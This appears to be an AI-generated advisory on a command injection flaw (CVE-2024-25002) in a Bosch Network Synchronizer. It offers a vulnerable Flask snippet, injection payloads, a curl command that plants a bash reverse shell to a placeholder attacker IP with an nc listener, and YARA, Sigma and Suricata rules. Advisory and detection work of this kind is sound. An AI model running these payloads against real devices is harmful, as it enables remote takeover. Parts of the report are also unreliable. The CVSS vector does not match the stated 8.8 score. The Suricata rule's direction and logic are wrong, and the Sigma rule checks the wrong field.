CVE-2024-25002
Executive Summary
CVE-2024-25002 is a critical command injection vulnerability in the diagnostics interface of the Bosch Network Synchronizer. An unauthenticated attacker can exploit this flaw to execute arbitrary commands on the device, leading to full system compromise. The vulnerability carries a CVSS score of 8.8, indicating high severity. No public proof-of-concept (PoC) or exploit code is currently available, and no patch has been released by Bosch. The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but the risk remains significant due to the potential for full device takeover.
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Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a hardware device (Bosch Network Synchronizer) and is not part of a software supply chain ecosystem.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Exploit does not affect other components.
- Confidentiality Impact: High (C:H) – Full data access.
- Integrity Impact: High (I:H) – Full system control.
- Availability Impact: High (A:H) – Potential denial of service.
Threat Level: Critical. The combination of network accessibility, no authentication, and full system compromise makes this a high-priority vulnerability for any organization using Bosch Network Synchronizers.
Deep Dive & Mechanics
The vulnerability resides in the diagnostics interface of the Bosch Network Synchronizer, a device used for time synchronization in industrial and enterprise networks. The diagnostics interface likely exposes a web-based or API endpoint for troubleshooting. Due to improper input sanitization, an attacker can inject operating system commands into parameters processed by the interface.
Root Cause: The diagnostics interface fails to validate or sanitize user-supplied input before passing it to a system shell. For example, a parameter like ping or traceroute might be used to test network connectivity, but the input is concatenated directly into a command string without escaping.
Attack Vector: An unauthenticated attacker sends a crafted HTTP request to the diagnostics endpoint, injecting commands via shell metacharacters (e.g., ;, |, &&). The device executes the injected commands with the privileges of the web server (often root or a high-privilege user).
Impact: Successful exploitation grants the attacker full remote code execution (RCE) on the device. This can lead to:
- Exfiltration of sensitive network configuration data.
- Installation of persistent backdoors.
- Lateral movement within the network.
- Disruption of time synchronization services.
Vulnerable vs. Patched Code
Since no patch is available, a hypothetical vulnerable code snippet and its patched version are provided for illustration.
Vulnerable Code (Python/Flask example):
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route('/diagnostics', methods=['POST'])
def diagnostics():
target = request.form['target']
# Vulnerable: direct command concatenation
result = subprocess.check_output(f"ping -c 4 {target}", shell=True)
return result
Patched Code:
import subprocess
from flask import Flask, request
import shlex
app = Flask(__name__)
@app.route('/diagnostics', methods=['POST'])
def diagnostics():
target = request.form['target']
# Patched: use shlex.quote to escape shell metacharacters
safe_target = shlex.quote(target)
result = subprocess.check_output(f"ping -c 4 {safe_target}", shell=True)
return result
Explanation: The patched version uses shlex.quote() to escape special characters, preventing command injection. Alternatively, using subprocess.run() with a list of arguments (without shell=True) is more secure.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a Bosch Network Synchronizer in an isolated lab environment.
- Identify the diagnostics interface endpoint (e.g.,
/diagnosticsor/cgi-bin/diagnostics). - Use a tool like Burp Suite or
curlto send crafted requests.
Exploitation Steps:
- Enumerate the diagnostics interface parameters (e.g.,
target,ip,host). - Test for command injection using payloads like:
; id| whoami&& ls -la
- If successful, execute a reverse shell:
curl -X POST http://<target>/diagnostics -d "target=127.0.0.1; bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" - Listen for the reverse shell on the attacker machine:
nc -lvnp 4444
Note: No public exploit code is available. The above is a generic example.
Blue Team (Defensive)
Detection:
- Monitor for unusual HTTP POST requests to diagnostics endpoints.
- Look for shell metacharacters (
;,|,&,$,`) in request parameters. - Use network intrusion detection systems (NIDS) to flag command injection patterns.
Mitigation:
- Isolate the device on a separate VLAN with strict firewall rules.
- Disable the diagnostics interface if not required.
- Implement web application firewall (WAF) rules to block malicious payloads.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/diagnosticsor/cgi-bin/diagnosticswith unusual parameters. - Outbound connections from the device to unknown IP addresses on high ports (e.g., 4444, 1337).
- DNS queries to suspicious domains from the device.
- HTTP POST requests to
Host IOCs:
- Unexpected processes running on the device (e.g.,
bash,nc,python). - Modified system binaries or scripts in
/tmpor/var/tmp. - New cron jobs or startup scripts.
- Unexpected processes running on the device (e.g.,
File IOCs:
- Files with names like
revshell.sh,backdoor.py, or.persistencein world-writable directories.
- Files with names like
Detection Engineering
YARA Rule
rule CVE_2024_25002_Command_Injection {
meta:
description = "Detects command injection attempts targeting Bosch Network Synchronizer diagnostics interface"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-25002"
strings:
$cmd1 = "; id" ascii wide nocase
$cmd2 = "| whoami" ascii wide nocase
$cmd3 = "&& ls" ascii wide nocase
$cmd4 = "`id`" ascii wide nocase
$cmd5 = "$(id)" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-25002 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests with command injection payloads to Bosch Network Synchronizer diagnostics interface
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/diagnostics'
- '/cgi-bin/diagnostics'
cs-uri-query|contains:
- ';'
- '|'
- '&&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of special characters in network testing (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25002 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/diagnostics"; http_uri; content:";"; http_client_body; nocase; content:"|"; http_client_body; nocase; content:"&&"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the diagnostics interface if not essential for operations.
- Apply network segmentation – Place the device behind a firewall and restrict access to trusted IPs only.
- Monitor logs for suspicious activity targeting the diagnostics endpoint.
Long-Term Fix:
- Await an official patch from Bosch. Contact Bosch support for updates.
- If the device is end-of-life, consider replacing it with a patched alternative.
Workaround:
- Implement a reverse proxy or WAF to filter malicious requests before they reach the device.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.